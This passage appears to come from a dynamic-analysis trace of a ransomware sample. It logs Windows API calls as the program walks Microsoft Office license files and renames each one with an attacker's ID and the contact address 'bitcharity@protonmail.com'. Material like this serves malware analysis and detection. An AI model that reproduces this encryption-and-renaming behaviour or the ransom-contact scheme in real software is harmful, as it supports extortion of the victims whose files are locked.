Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0251.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms") returned 83 [0251.526] lstrlenW (lpString=".doc") returned 4 [0251.527] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.527] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.528] CloseHandle (hObject=0x1274) returned 1 [0251.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0251.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms") returned 86 [0251.528] lstrlenW (lpString=".doc") returned 4 [0251.529] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.529] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.530] CloseHandle (hObject=0x1274) returned 1 [0251.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0251.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82 [0251.530] lstrlenW (lpString=".doc") returned 4 [0251.531] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.531] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.532] CloseHandle (hObject=0x1274) returned 1 [0251.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0251.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83 [0251.532] lstrlenW (lpString=".doc") returned 4 [0251.533] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.533] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.533] CloseHandle (hObject=0x1274) returned 1 [0251.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0251.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ul-oob.xrm-ms") returned 86 [0251.534] lstrlenW (lpString=".doc") returned 4 [0251.534] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.534] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.535] CloseHandle (hObject=0x1274) returned 1 [0251.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0251.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82 [0251.540] lstrlenW (lpString=".doc") returned 4 [0251.541] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.541] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.541] CloseHandle (hObject=0x1274) returned 1 [0251.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0251.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83 [0251.542] lstrlenW (lpString=".doc") returned 4 [0251.542] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.543] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.543] CloseHandle (hObject=0x1274) returned 1 [0251.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0251.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86 [0251.543] lstrlenW (lpString=".doc") returned 4 [0251.544] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.544] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.544] CloseHandle (hObject=0x1274) returned 1 [0251.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0251.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82 [0251.545] lstrlenW (lpString=".doc") returned 4 [0251.545] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.545] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.546] CloseHandle (hObject=0x1274) returned 1 [0251.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0251.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83 [0251.546] lstrlenW (lpString=".doc") returned 4 [0251.547] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.547] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.547] CloseHandle (hObject=0x1274) returned 1 [0251.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0251.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86 [0251.548] lstrlenW (lpString=".doc") returned 4 [0251.548] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.548] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.549] CloseHandle (hObject=0x1274) returned 1 [0251.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0251.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-pl.xrm-ms") returned 96 [0251.550] lstrlenW (lpString=".doc") returned 4 [0251.550] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.551] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.551] CloseHandle (hObject=0x1274) returned 1 [0251.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0251.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97 [0251.551] lstrlenW (lpString=".doc") returned 4 [0251.552] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.552] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.553] CloseHandle (hObject=0x1274) returned 1 [0251.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0251.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100 [0251.553] lstrlenW (lpString=".doc") returned 4 [0251.881] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.881] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.882] CloseHandle (hObject=0x1234) returned 1 [0251.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0251.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84 [0251.882] lstrlenW (lpString=".doc") returned 4 [0251.883] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.883] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.883] CloseHandle (hObject=0x1234) returned 1 [0251.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0251.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0251.884] lstrlenW (lpString=".doc") returned 4 [0251.884] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.885] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.885] CloseHandle (hObject=0x1234) returned 1 [0251.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0251.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0251.886] lstrlenW (lpString=".doc") returned 4 [0251.886] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.886] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.887] CloseHandle (hObject=0x1234) returned 1 [0251.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0251.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-pl.xrm-ms") returned 73 [0251.887] lstrlenW (lpString=".doc") returned 4 [0251.888] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.888] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.888] CloseHandle (hObject=0x1234) returned 1 [0251.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0251.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ppd.xrm-ms") returned 74 [0251.889] lstrlenW (lpString=".doc") returned 4 [0251.890] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.890] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.890] CloseHandle (hObject=0x1234) returned 1 [0251.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0251.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-oob.xrm-ms") returned 77 [0251.891] lstrlenW (lpString=".doc") returned 4 [0251.892] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.892] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.892] CloseHandle (hObject=0x1234) returned 1 [0251.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0251.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_MAK-ul-phn.xrm-ms") returned 77 [0251.893] lstrlenW (lpString=".doc") returned 4 [0251.894] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.894] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.895] CloseHandle (hObject=0x1234) returned 1 [0251.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0251.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0251.895] lstrlenW (lpString=".doc") returned 4 [0251.896] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.896] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.896] CloseHandle (hObject=0x1234) returned 1 [0251.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0251.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0251.897] lstrlenW (lpString=".doc") returned 4 [0251.897] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.897] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0251.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 